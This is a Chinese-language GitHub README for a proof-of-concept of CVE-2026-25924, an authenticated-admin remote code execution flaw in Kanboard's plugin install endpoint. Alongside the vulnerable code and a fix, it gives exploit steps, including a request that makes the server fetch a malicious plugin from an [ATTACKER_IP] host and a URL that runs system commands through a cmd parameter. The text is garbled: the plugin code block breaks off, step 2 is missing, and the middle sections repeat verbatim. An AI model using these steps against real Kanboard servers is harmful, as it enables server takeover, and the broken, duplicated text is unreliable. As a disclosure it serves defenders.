drkim-dev/CVE-2026-25924
GitHub: drkim-dev/CVE-2026-25924
Kanboard <= 1.2.49 插件安装接口授权校验缺失导致管理员 RCE 的概念验证,展示了如何绕过安全配置实现任意代码执行。
Stars: 1 | Forks: 1
# CVE-2026-25924 PoC - Kanboard 管理员 RCE
**通过绕过安全控制实现管理员远程代码执行 (RCE) 的概念验证**
**披露:** 最初由我通过 [GHSA-grch-p7vf-vc4f](https://github.com/kanboard/kanboard/security/advisories/GHSA-grch-p7vf-vc4f) 报告
⚠️ 仅限授权渗透测试/研究使用。
## 漏洞信息
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2026-25924 |
| **严重程度** | 🔴 高 |
| **CVSS 评分** | 8.4 |
| **CVSS 向量** | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| **CWE** | CWE-863: Incorrect Authorization |
| **受影响产品** | Kanboard ≤ 1.2.49 |
| **修复版本** | 1.2.50 |
| **公告** | [GHSA-grch-p7vf-vc4f](https://github.com/kanboard/kanboard/security/advisories/GHSA-grch-p7vf-vc4f) |
# CVE-2026-25924:插件安装缺失访问控制导致管理员 RCE
## 1. 概述
**Kanboard v1.2.49** 中存在一个安全控制绕过漏洞,允许经过身份验证的管理员实现完全的**远程代码执行 (RCE)**。虽然当 `PLUGIN_INSTALLER` 配置设置为 `false` 时,应用程序能正确隐藏插件安装界面,但底层后端 endpoint 未能验证此安全设置。攻击者可以利用这一疏忽,强制服务器下载并安装恶意插件,从而导致任意代码执行。
- **漏洞类型**:CWE-863 (Incorrect Authorization) / CWE-94 (Code Injection)
- **严重程度**:高 (管理员 RCE)
- **受影响版本**:Kanboard <= v1.2.49
## 2. 详情
Kanboard 使用安全常量 `PLUGIN_INSTALLER` 来限制从远程 URL 安装插件的能力。该常量定义在 `app/constants.php` 中:
**文件:`app/constants.php`**
```
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
```
应用程序在 `PluginController` 的 UI 渲染方法(如 `show()` 和 `directory()`)中,通过 `Installer::isConfigured()` 正确检查了此设置:
**文件:`app/Controller/PluginController.php`**
```
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
```
然而,同一控制器中的 **`install()`** 方法未能执行此检查。它仅验证 CSRF token,就继续从 `archive_url` 参数提供的任意 URL 下载并安装插件。
**`app/Controller/PluginController.php` 中的漏洞代码:**
```
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
```
由于 `Installer::install()` 同样未检查 `PLUGIN_INSTALLER` 常量,管理员只需携带有效的 CSRF token 直接访问该 endpoint,即可绕过预期的限制。一旦安装,恶意插件会被 `Kanboard\Core\Plugin\Loader` 自动加载并执行,从而授予攻击者完整的 RCE 权限。
## 3. 概念验证 (PoC)
### 步骤 1:创建恶意插件
创建一个名为 `Exploit` 的目录,其中包含一个 `Plugin.php` 文件:
```
### 步骤 3:触发安装
以管理员身份登录 Kanboard。从页面源码中获取你的 `csrf_token`,然后访问:
`http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]`
### 步骤 4:执行远程命令
使用 `cmd` 参数执行任意系统命令:
`http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id`
## 4. 影响
此漏洞允许管理员绕过主机施加的安全限制。通过实现 RCE,攻击者可以:
- 读取/写入服务器上的任意文件(例如 `/etc/passwd`、`config.php`)。
- 访问并转储整个数据库。
- 以此为跳板攻击内部网络。
- 通过 web shell 或反向 shell 维持持久访问。
## 5. 建议的缓解措施
在 `app/Controller/PluginController.php` 的 `install()` 和 `update()` 方法开头添加对 `Installer::isConfigured()` 的检查:
```
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}
```
Kanboard 使用安全常量 `PLUGIN_INSTALLER` 来限制从远程 URL 安装插件的能力。该常量定义在 `app/constants.php` 中:
**文件:`app/constants.php`**
```
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
```
应用程序在 `PluginController` 的 UI 渲染方法(如 `show()` 和 `directory()`)中,通过 `Installer::isConfigured()` 正确检查了此设置:
**文件:`app/Controller/PluginController.php`**
```
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
```
然而,同一控制器中的 **`install()`** 方法未能执行此检查。它仅验证 CSRF token,就继续从 `archive_url` 参数提供的任意 URL 下载并安装插件。
**`app/Controller/PluginController.php` 中的漏洞代码:**
```
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
```
由于 `Installer::install()` 同样未检查 `PLUGIN_INSTALLER` 常量,管理员只需携带有效的 CSRF token 直接访问该 endpoint,即可绕过预期的限制。一旦安装,恶意插件会被 `Kanboard\Core\Plugin\Loader` 自动加载并执行,从而授予攻击者完整的 RCE 权限。
## 3. 概念验证 (PoC)
### 步骤 1:创建恶意插件
创建一个名为 `Exploit` 的目录,其中包含一个 `Plugin.php` 文件:
```
### 步骤 3:触发安装
以管理员身份登录 Kanboard。从页面源码中获取你的 `csrf_token`,然后访问:
`http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]`
### 步骤 4:执行远程命令
使用 `cmd` 参数执行任意系统命令:
`http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id`
## 4. 影响
此漏洞允许管理员绕过主机施加的安全限制。通过实现 RCE,攻击者可以:
- 读取/写入服务器上的任意文件(例如 `/etc/passwd`、`config.php`)。
- 访问并转储整个数据库。
- 以此为跳板攻击内部网络。
- 通过 web shell 或反向 shell 维持持久访问。
## 5. 建议的缓解措施
在 `app/Controller/PluginController.php` 的 `install()` 和 `update()` 方法开头添加对 `Installer::isConfigured()` 的检查:
```
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}
```
标签:0day, CISA项目, CVE-2026-25924, CWE-863, CWE-94, ffuf, ffuf, ffuf, Kanboard, PoC, RCE, Web应用漏洞, Web报告查看器, 安全控制绕过, 授权不当, 插件安装漏洞, 暴力破解, 管理员权限提升, 编程工具, 网络安全, 远程代码执行, 隐私保护, 高危漏洞